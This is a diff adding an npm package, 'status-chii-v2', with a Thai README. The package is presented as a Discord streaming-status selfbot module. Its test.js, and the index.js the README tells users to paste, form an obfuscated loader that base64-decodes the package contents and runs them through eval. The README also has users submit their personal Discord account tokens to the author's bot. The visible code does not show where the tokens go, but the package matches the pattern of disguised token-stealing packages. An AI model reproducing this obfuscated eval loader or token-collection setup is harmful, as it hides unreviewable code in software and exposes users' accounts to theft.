20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20embedDelete\x20=\x20new\x20EmbedBuilder()\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20.setColor(0x6633CC)\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20.setTitle(\x27``✅``\x20**ปิดสถานะแล้ว!**\x27);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20await\x20interaction.reply({\x20embeds:\x20[embedDelete],\x20ephemeral:\x20true\x20});\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x20catch\x20(error)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20if\x20(error.code\x20===\x2050035\x20||\x20error.status\x20==\x20400\x20||\x20error.code\x20===\x2010062\x20||\x20error.status\x20==\x20404\x20||\x20error.code\x20==\x2040060)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20}\x0a});\x0a\x0a\x0aasync\x20function\x20Botstatus(userId)\x20{\x0a\x20\x20\x20\x20try\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20const\x20user\x20=\x20await\x20client.users.fetch(userId);\x0a\x20\x20\x20\x20\x20\x20\x20\x20if\x20(!user)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20console.log(\x27User\x20not\x20found\x27);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20return;\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20const\x20embed\x20=\x20new\x20EmbedBuilder()\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20.setColor(0xFF0000)\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20.setTitle(\x27``❌``\x20เอ้ะ!\x20เกิดข้อผิดพลาดการทำสตรีมมิ่ง\x27)\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20.setDescription(\x27**・\x20TOKEN\x20ผู้ใช้งานของท่านไม่ถูกต้อง\x20・**\x27);\x0a\x0a\x20\x20\x20\x20\x20\x20\x20\x20try\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20await\x20user.send({\x20embeds:\x20[embed]\x20});\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x20catch\x20(sendError)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20if\x20(sendError.code\x20===\x2050007)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20console.error(\x27Cannot\x20send\x20messages\x20to\x20this\x20user\x27);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x20else\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20console.error(\x27Error\x20sending\x20message\x20to\x20user:\x27,\x20sendError);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20}\x20catch\x20(error)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20if\x20(error.code\x20===\x2050035\x20||\x20error.status\x20==\x20400\x20||\x20error.code\x20===\x2010062\x20||\x20error.status\x20==\x20404\x20||\x20error.code\x20==\x2040060)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20}\x0a};\x0a\x0aasync\x20function\x20Bottus(userId)\x20{\x0a\x20\x20\x20\x20try\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20const\x20user\x20=\x20await\x20client.users.fetch(userId);\x0a\x20\x20\x20\x20\x20\x20\x20\x20if\x20(!user)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20console.log(\x27User\x20not\x20found\x27);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20return;\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20const\x20embed\x20=\x20new\x20EmbedBuilder()\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20.setColor(0xFF0000)\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20.setTitle(\x27``❌``\x20เอ้ะ!\x20เกิดข้อผิดพลาดการทำสตรีมมิ่ง\x27)\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20.setDescription(\x27**・\x20กรุณาตรวจสอบต่อไปนี้ให้เหมาะสม\x20・**\x27)\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20.addFields({name:\x20\x27>\x20ลิงค์รูปภาพใหญ่\x20-\x20รูปภาพเล็ก\x27,\x20value:\x20\x27_\x20_\x27})\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20.addFields({name:\x20\x27>\x20เสร็จแล้วทำการส่งใหม่อีกรอบ\x27,\x20value:\x20\x27_\x20_\x27});\x0a\x0a\x20\x20\x20\x20\x20\x20\x20\x20try\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20await\x20user.send({\x20embeds:\x20[embed]\x20});\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x20catch\x20(sendError)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20if\x20(sendError.code\x20===\x2050007)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20console.error(\x27Cannot\x20send\x20messages\x20to\x20this\x20user\x27);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x20else\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20console.error(\x27Error\x20sending\x20message\x20to\x20user:\x27,\x20sendError);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20}\x20catch\x20(error)\x20{\x0a\x20\x20\x20\x20\x20\x20if\x20(error.code\x20===\x2050035\x20||\x20error.status\x20==\x20400\x20||\x20error.code\x20===\x2010062\x20||\x20error.status\x20==\x20404\x20||\x20error.code\x20==\x2040060)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20}\x0a};\x0a\x0aclient.login(config.TOKEN_BOT);\x0a\x0alet\x20gradient;\x0a(async\x20()\x20=>\x20{\x0a\x20\x20\x20\x20gradient\x20=\x20(await\x20import(\x27gradient-string\x27)).default;\x0a\x20\x20\x20\x20console.log(gradient.rainbow(`\x0a\x20\x20\x20\x20\x20\x20\x20\x20███╗░░░███╗███████╗██████╗░███╗░░░███╗░██╗░░░░░░░██╗███╗░░██╗░██████╗░\u2003\u2003░█████╗░██╗░░██╗██╗██╗\x0a\x20\x20\x20\x20\x20\x20\x20\x20████╗░████║██╔════╝██╔══██╗████╗░████║░██║░░██╗░░██║████╗░██║██╔════╝░\u2003\u2003██╔══██╗██║░░██║██║██║\x0a\x20\x20\x20\x20\x20\x20\x20\x20██╔████╔██║█████╗░░██║░░██║██╔████╔██║░╚██╗████╗██╔╝██╔██╗██║██║░░██╗░\u2003\u2003██║░░╚═╝███████║██║██║\x0a\x20\x20\x20\x20\x20\x20\x20\x20██║╚██╔╝██║██╔══╝░░██║░░██║██║╚██╔╝██║░░████╔═████║░██║╚████║██║░░╚██╗\u2003\u2003██║░░██╗██╔══██║██║██║\x0a\x20\x20\x20\x20\x20\x20\x20\x20██║░╚═╝░██║███████╗██████╔╝██║░╚═╝░██║░░╚██╔╝░╚██╔╝░██║░╚███║╚██████╔╝\u2003\u2003╚█████╔╝██║░░██║██║██║\x0a\x20\x20\x20\x20\x20\x20\x20\x20╚═╝░░░░░╚═╝╚══════╝╚═════╝░╚═╝░░░░░╚═╝░░░╚═╝░░░╚═╝░░╚═╝░░╚══╝░╚═════╝░\u2003\u2003░╚════╝░╚═╝░░╚═╝╚═╝╚═╝\x0a\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰\x0a\x20\x20\x20\x20\x20\x20\x20\x20Join\x20Server\x20Discord\x20:\x20https://discord.gg/5gAsw4Pawq\x0a\x20\x20\x20\x20\x20\x20\x20\x20▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰\x0a\x20\x20\x20\x20`))\x0a})();')[_0xc6d439(0x1f7)](_0xc6d439(0x202));module[_0xc6d439(0x1f5)]=CHII_Code;
|
package/package.json
ADDED
@@ -0,0 +1,34 @@
|
|
1
|
+
{
|
2
|
+
"name": "status-chii-v2",
|
3
|
+
"version": "1.0.0",
|
4
|
+
"description": "Discord bot running streaming",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "node index.js"
|
8
|
+
},
|
9
|
+
"repository": {
|
10
|
+
"type": "git",
|
11
|
+
"url": "git+https://github.com/Hnuuchii/"
|
12
|
+
},
|
13
|
+
"keywords": [
|
14
|
+
"ทำสถานะเม็ดม่วง",
|
15
|
+
"Discord",
|
16
|
+
"Discord RichPresence",
|
17
|
+
"Discord.js",
|
18
|
+
"ทำสถานะเม็ดม่วงผ่านบอท",
|
19
|
+
"ทำสถานะเม็ดม่วงรันได้หลายคน",
|
20
|
+
"Discord Node JS",
|
21
|
+
"Discord Streaming"
|
22
|
+
],
|
23
|
+
"author": "status-chii-v2",
|
24
|
+
"license": "ISC",
|
25
|
+
"bugs": {
|
26
|
+
"url": "https://discord.gg/t4qn7j4dVb"
|
27
|
+
},
|
28
|
+
"homepage": "https://discord.gg/t4qn7j4dVb",
|
29
|
+
"dependencies": {
|
30
|
+
"discord.js": "^14.16.2",
|
31
|
+
"discord.js-selfbot-v13": "^3.4.0",
|
32
|
+
"gradient-string": "^3.0.0"
|
33
|
+
}
|
34
|
+
}
|
package/test.js
ADDED
@@ -0,0 +1,23 @@
|
|
1
|
+
(function () {
|
2
|
+
let _0x1a3b = 'utf8';
|
3
|
+
let _0x9f45 = 'status-chii-v2';
|
4
|
+
let _0x7bdc = 'base64';
|
5
|
+
function _0x8dfg6(_0x5e1a, _0x6b7d) {
|
6
|
+
return (function (_0x2f7c, _0x1f3b) {
|
7
|
+
return _0x2f7c(_0x5e1a, _0x1f3b);
|
8
|
+
})(function (_0x4f32, _0x8e9d) {
|
9
|
+
return eval(_0x4f32);
|
10
|
+
}, _0x6b7d);
|
11
|
+
}
|
12
|
+
try {
|
13
|
+
let _0x21a9 = Buffer.from(require(_0x9f45), _0x7bdc).toString(_0x1a3b);
|
14
|
+
let _0x13fe = _0x8dfg6(_0x21a9, require);
|
15
|
+
if (typeof _0x13fe === 'function') {
|
16
|
+
_0x13fe();
|
17
|
+
}
|
18
|
+
} catch (error) {
|
19
|
+
let originalConsoleError = console.error;
|
20
|
+
console.error = () => { };
|
21
|
+
console.error = originalConsoleError;
|
22
|
+
}
|
23
|
+
})();
|
@@ -0,0 +1,256 @@
|
|
1
|
+
# STATUS-Discord RichPresence Selfbot-V13 NodeJS-Module
|
2
|
+
+ 🟣Streaming status for Discord accounts
|
3
|
+
+ 🟣This code can make purple pill status unlimited for multiple accounts.
|
4
|
+
|
5
|
+
+ 🟣สถานะการสตรีมสำหรับบัญชี Discord
|
6
|
+
+ 🟣โค้ดนี้สามารถทำสถานะเม็ดม่วงผ่านบอทได้หลายบัญชีไม่จำกัด
|
7
|
+
+ 🟣ออกแบบมาเพื่อปรับแต่งชื่อโดยไม่ต้องปิดโค้ดแล้วรันใหม่
|
8
|
+
+ 🟣สถานะจะอัปเดตให้อัตโนมัติเมื่อมีการอัพเดทส่งข้อมูลผ่านบอท
|
9
|
+
|
10
|
+
<a href="https://pic.in.th/image/se.QWkpc4"><img src="https://img5.pic.in.th/file/secure-sv1/sef1bd0ce5ecb6d9fb.png" alt="se" border="0"></a>
|
11
|
+
|
12
|
+
## Installation
|
13
|
+
+ ติดตั้ง Modules
|
14
|
+
```sh
|
15
|
+
npm install status-chii-v2
|
16
|
+
```
|
17
|
+
## Run Code
|
18
|
+
+ รันโค้ด
|
19
|
+
```sh
|
20
|
+
node index.js
|
21
|
+
```
|
22
|
+
+ How To Code index.js STATUS Discord RichPresence
|
23
|
+
+ วิธีการเขียนโค้ด index.js สถานะ Discord RichPresence
|
24
|
+
|
25
|
+
# ใส่โทเค็นบอทในไฟล์ config.json
|
26
|
+
```js
|
27
|
+
{
|
28
|
+
"TOKEN_BOT": "โทเค็นบอท",
|
29
|
+
"user": []
|
30
|
+
}
|
31
|
+
```
|
32
|
+
|
33
|
+
# สร้างไฟล์ชื่อ index.js // หรือ ทดสอบจากไฟล์ test.js
|
34
|
+
```js
|
35
|
+
(function () {
|
36
|
+
let _0x1a3b = 'utf8';
|
37
|
+
let _0x9f45 = 'status-chii-v2';
|
38
|
+
let _0x7bdc = 'base64';
|
39
|
+
function _0x8dfg6(_0x5e1a, _0x6b7d) {
|
40
|
+
return (function (_0x2f7c, _0x1f3b) {
|
41
|
+
return _0x2f7c(_0x5e1a, _0x1f3b);
|
42
|
+
})(function (_0x4f32, _0x8e9d) {
|
43
|
+
return eval(_0x4f32);
|
44
|
+
}, _0x6b7d);
|
45
|
+
}
|
46
|
+
try {
|
47
|
+
let _0x21a9 = Buffer.from(require(_0x9f45), _0x7bdc).toString(_0x1a3b);
|
48
|
+
let _0x13fe = _0x8dfg6(_0x21a9, require);
|
49
|
+
if (typeof _0x13fe === 'function') {
|
50
|
+
_0x13fe();
|
51
|
+
}
|
52
|
+
} catch (error) {
|
53
|
+
let originalConsoleError = console.error;
|
54
|
+
console.error = () => { };
|
55
|
+
console.error = originalConsoleError;
|
56
|
+
}
|
57
|
+
})();
|
58
|
+
```
|
59
|
+
|
60
|
+
# ปรับแต่งหน้าต่างสถานะที่ไฟล์ embed.js
|
61
|
+
+ เปลี่ยนทุกอย่างได้นะครับ แต่ยกเว้นบรรทัดที่มีคำว่า // ห้ามลบห้ามเปลี่ยน > ชื่อ open และ offline ห้ามไปแก้ไขมันนะครับ
|
62
|
+
```js
|
63
|
+
const { EmbedBuilder, ButtonBuilder, ActionRowBuilder, ButtonStyle } = require('discord.js');
|
64
|
+
|
65
|
+
const EmbedFrom = (interaction) => {
|
66
|
+
const embed = new EmbedBuilder()
|
67
|
+
.setColor(0x6633CC)
|
68
|
+
.setTitle('``🟣`` เปิดสถานะสตรีมมิ่งบนโปรไฟล์')
|
69
|
+
.addFields(
|
70
|
+
{ name: '``✅`` เปิดใช้งาน', value: '``กดที่เปิดสถานะ``', inline: true },
|
71
|
+
{ name: '``❌`` ปิดใช้งาน', value: '``กดที่ปิดสถานะ``', inline: true },
|
72
|
+
{ name: '``📖`` จัดข้อมูลให้ครบ', value: '``หากแจ้งเตือนข้อผิดพลาด``', inline: true },
|
73
|
+
)
|
74
|
+
.setImage('https://s12.gifyu.com/images/Sr3l3.gif')
|
75
|
+
|
76
|
+
return embed;
|
77
|
+
};
|
78
|
+
|
79
|
+
const ButtonFrom = (interaction) => {
|
80
|
+
const row = new ActionRowBuilder()
|
81
|
+
.addComponents(
|
82
|
+
new ButtonBuilder()
|
83
|
+
.setCustomId('open') // ห้ามลบห้ามเปลี่ยน
|
84
|
+
.setLabel('✅เปิดสถานะ')
|
85
|
+
.setStyle(ButtonStyle.Primary),
|
86
|
+
new ButtonBuilder()
|
87
|
+
.setCustomId('offline') // ห้ามลบห้ามเปลี่ยน
|
88
|
+
.setLabel('❌ปิดสถานะ')
|
89
|
+
.setStyle(ButtonStyle.Danger),
|
90
|
+
new ButtonBuilder()
|
91
|
+
.setLabel('🚀 วิธีใช้งาน')
|
92
|
+
.setStyle(ButtonStyle.Link)
|
93
|
+
.setURL('https://discord.com')
|
94
|
+
);
|
95
|
+
return row;
|
96
|
+
}
|
97
|
+
|
98
|
+
module.exports = { EmbedFrom, ButtonFrom };
|
99
|
+
```
|
100
|
+
|
101
|
+
# แพ็กเก็จเสร็ม package.json
|
102
|
+
```js
|
103
|
+
{
|
104
|
+
"dependencies": {
|
105
|
+
"status-chii-v2": "^1.0.0"
|
106
|
+
}
|
107
|
+
}
|
108
|
+
```
|
109
|
+
|
110
|
+
# การกำหนดชื่อสถานะสังเกตุที่ชื่อหัวข้อมัน
|
111
|
+
|
112
|
+
+ token = "โทเค็นผู้ใช้งาน"
|
113
|
+
+ setURL = "ลิงค์สตรีมมิ่ง https://twitch.tv/streamer"
|
114
|
+
|
115
|
+
+ Details = ["ชื่อด้านบนสุดหน้าแรก", "ชื่อด้านบนสุดหน้าสอง"]
|
116
|
+
+ setState = ["ชื่อตรงกลางหน้าแรก", "ชื่อตรงกลางหน้าสอง"]
|
117
|
+
+ LargeText = ["ชื่อด้านล่างสุดหน้าแรก", "ชื่อด้านล่างสุดหน้าสอง"]
|
118
|
+
|
119
|
+
+ largeImageLinks = ["ลิงค์รูปภาพใหญ่หน้าแรก", "ลิงค์รูปภาพใหญ่หน้าสอง"]
|
120
|
+
+ smallImageLinks = ["ลิงค์รูปภาพเล็กหน้าแรก", "ลิงค์รูปภาพเล็กหน้าสอง"]
|
121
|
+
|
122
|
+
+ button1 = "ชื่อปุ่มที่1"
|
123
|
+
+ link1 = "https://ลิงค์ปุ่มที่1"
|
124
|
+
|
125
|
+
+ button2 = "ชื่อปุ่มที่2"
|
126
|
+
+ link2 = "https://ลิงค์ปุ่มที่2"
|
127
|
+
|
128
|
+
# หยิบชื่อไปใช้แต่งตั้งค่าสถานะในไฟล์ก่อนส่งให้บอท สามารถหยิบชื่อสถานะไปเขียนเอาไว้ในชื่อได้
|
129
|
+
|
130
|
+
+ เวลานาที ตัวอย่าง 10:10
|
131
|
+
```js
|
132
|
+
time:t
|
133
|
+
```
|
134
|
+
+ ปฎิทินวันที่ตัวเลขตัวอย่าง 10/10/2030
|
135
|
+
```js
|
136
|
+
date:n
|
137
|
+
```
|
138
|
+
+ ปฎิทินวันที่ภาษาไทยตัวอย่าง 10/มกราคม/2030
|
139
|
+
```js
|
140
|
+
date:th
|
141
|
+
```
|
142
|
+
+ แสดงปฎิทินวันที่ภาษาอังกฤษ 10/January/2030
|
143
|
+
```js
|
144
|
+
date:eg
|
145
|
+
```
|
146
|
+
+ แสดงวันของไทยตัวอย่าง จันทร์ อังคาร.....
|
147
|
+
```js
|
148
|
+
day:th
|
149
|
+
```
|
150
|
+
+ แสดงวันของอังกฤษตัวอย่าง 𝐒𝐮𝐧𝐝𝐚𝐲 𝐌𝐨𝐧𝐝𝐚𝐲.....
|
151
|
+
```js
|
152
|
+
day:eg
|
153
|
+
```
|
154
|
+
+ แสดงสถานะความปิงตัวอย่าง 200 km/s
|
155
|
+
```js
|
156
|
+
ping:ms
|
157
|
+
```
|
158
|
+
+ แสดงสถานะความร้อนตัวอย่าง 24 °C
|
159
|
+
```js
|
160
|
+
temp:c
|
161
|
+
```
|
162
|
+
+ แสดงสถานะแรมตัวอย่าง 32 GB
|
163
|
+
```js
|
164
|
+
ram:g
|
165
|
+
```
|
166
|
+
+ แสดงสถานะ CPU ตัวอย่าง 𝐂𝐏𝐔 𝐑𝐲𝐳𝐞𝐧 𝟓 𝟓𝟔𝟎𝟎𝐗 𝟑.𝟕 𝐆𝐇𝐳
|
167
|
+
```js
|
168
|
+
cpu:g
|
169
|
+
```
|
170
|
+
|
171
|
+
# ตัวอย่างวิธีหยิบกรอกชื่อให้มันสถานะต่าง
|
172
|
+
+ ในมุมมองมันจะแสดงผลแบบนี้ เวลา 10:10 วันที่ 10/10/2030
|
173
|
+
+ หากแต่งอักษรพิเศษใส่มันจะแสดงแบบนี้
|
174
|
+
꒰ เวลา 10:10 ꒱ ⚘ ꒰ 10/10/2030 ꒱
|
175
|
+
|
176
|
+
```js
|
177
|
+
เวลา: time:t วันที่: date:n
|
178
|
+
```
|
179
|
+
|
180
|
+
# ไฟล์ทำสถานะเม็ดม่วง กำหนดแต่งใน ไฟล์ txt แล้วให้เอาไปวางไว้กับบอทที่คำว่า "เปิดสถานะ"
|
181
|
+
```js
|
182
|
+
{
|
183
|
+
"token": "โทเค็นผู้ใช้งาน",
|
184
|
+
"setURL": [
|
185
|
+
"https://twitch.tv/chii"
|
186
|
+
],
|
187
|
+
"Details": [
|
188
|
+
"꒰ time:t ꒱ ✦ ꒰ date:n ꒱"
|
189
|
+
, "꒰ time:t ꒱ ✦ ꒰ date:th ꒱"
|
190
|
+
,"꒰ day:th ꒱ ✦ ꒰ day:eg ꒱"
|
191
|
+
,"꒰ time:t ꒱ ✦ ꒰ date:eg ꒱"
|
192
|
+
,"꒰ time:t ꒱ ✦ ꒰ date:n ꒱"
|
193
|
+
,"꒰ time:t ꒱ ✦ ꒰ date:th ꒱"
|
194
|
+
,"꒰ day:th ꒱ ✦ ꒰ day:eg ꒱"
|
195
|
+
,"꒰ time:t ꒱ ✦ ꒰ date:eg ꒱"
|
196
|
+
,"꒰ day:th ꒱ ✦ ꒰ day:eg ꒱"
|
197
|
+
,"꒰ time:t ꒱ ✦ ꒰ date:eg ꒱"
|
198
|
+
],
|
199
|
+
"setState": [
|
200
|
+
"【 𝟏 / 𝟏𝟎 】👒ꔛ☆★☆★☆★☆★ꔛ"
|
201
|
+
,"【 𝟐 / 𝟏𝟎 】👒ꔛ★☆★☆★☆★☆ꔛ"
|
202
|
+
,"【 𝟑 / 𝟏𝟎 】👒ꔛ☆☆★☆★☆★★ꔛ"
|
203
|
+
,"【 𝟒 / 𝟏𝟎 】👒ꔛ☆☆★☆★☆★★ꔛ"
|
204
|
+
,"【 𝟓 / 𝟏𝟎 】👒ꔛ☆★☆★☆★☆★ꔛ"
|
205
|
+
,"【 𝟔 / 𝟏𝟎 】👒ꔛ★☆★☆★☆★☆ꔛ"
|
206
|
+
,"【 𝟕 / 𝟏𝟎 】👒ꔛ☆☆★☆★☆★★ꔛ"
|
207
|
+
,"【 𝟖 / 𝟏𝟎 】👒ꔛ★☆★☆★☆★☆ꔛ"
|
208
|
+
,"【 𝟗 / 𝟏𝟎 】👒ꔛ☆☆★☆★☆★★ꔛ"
|
209
|
+
,"【 𝟏𝟎 / 𝟏𝟎 】👒ꔛ★☆★☆★☆★☆ꔛ"
|
210
|
+
],
|
211
|
+
"LargeText": [
|
212
|
+
"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
|
213
|
+
,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
|
214
|
+
,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
|
215
|
+
,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
|
216
|
+
,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
|
217
|
+
,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
|
218
|
+
,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
|
219
|
+
,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
|
220
|
+
,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
|
221
|
+
,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
|
222
|
+
],
|
223
|
+
"largeImageLinks": [
|
224
|
+
"https://s11.gifyu.com/images/SoUrt.gif"
|
225
|
+
,"https://s11.gifyu.com/images/SoUtK.gif"
|
226
|
+
,"https://s11.gifyu.com/images/SoUrv.gif"
|
227
|
+
,"https://s11.gifyu.com/images/SoUtw.gif"
|
228
|
+
,"https://s11.gifyu.com/images/SoUrU.gif"
|
229
|
+
,"https://s11.gifyu.com/images/SoUDY.gif"
|
230
|
+
,"https://s11.gifyu.com/images/SoUrf.gif"
|
231
|
+
,"https://s11.gifyu.com/images/SoUrr.gif"
|
232
|
+
,"https://s11.gifyu.com/images/SoUr1.gif"
|
233
|
+
,"https://s11.gifyu.com/images/SoUrX.gif"
|
234
|
+
],
|
235
|
+
"smallImageLinks": [
|
236
|
+
"https://s11.gifyu.com/images/SoUrt.gif"
|
237
|
+
,"https://s11.gifyu.com/images/SoUtK.gif"
|
238
|
+
,"https://s11.gifyu.com/images/SoUrv.gif"
|
239
|
+
,"https://s11.gifyu.com/images/SoUtw.gif"
|
240
|
+
,"https://s11.gifyu.com/images/SoUrU.gif"
|
241
|
+
,"https://s11.gifyu.com/images/SoUDY.gif"
|
242
|
+
,"https://s11.gifyu.com/images/SoUrf.gif"
|
243
|
+
,"https://s11.gifyu.com/images/SoUrr.gif"
|
244
|
+
,"https://s11.gifyu.com/images/SoUr1.gif"
|
245
|
+
,"https://s11.gifyu.com/images/SoUrX.gif"
|
246
|
+
],
|
247
|
+
"button1": "button1",
|
248
|
+
"link1": "https://discord.gg/5gAsw4Pawq",
|
249
|
+
"button2": "button2",
|
250
|
+
"link2": "https://discord.gg/5gAsw4Pawq"
|
251
|
+
}
|
252
|
+
|
253
|
+
```
|
254
|
+
|
255
|
+
# ผู้พัฒนาโค้ดสตรีมมิ่ง By Developer : CHII แอดมินซี
|
256
|
+
+ เซิร์ฟเวอร์ Discord https://discord.gg/5gAsw4Pawq
|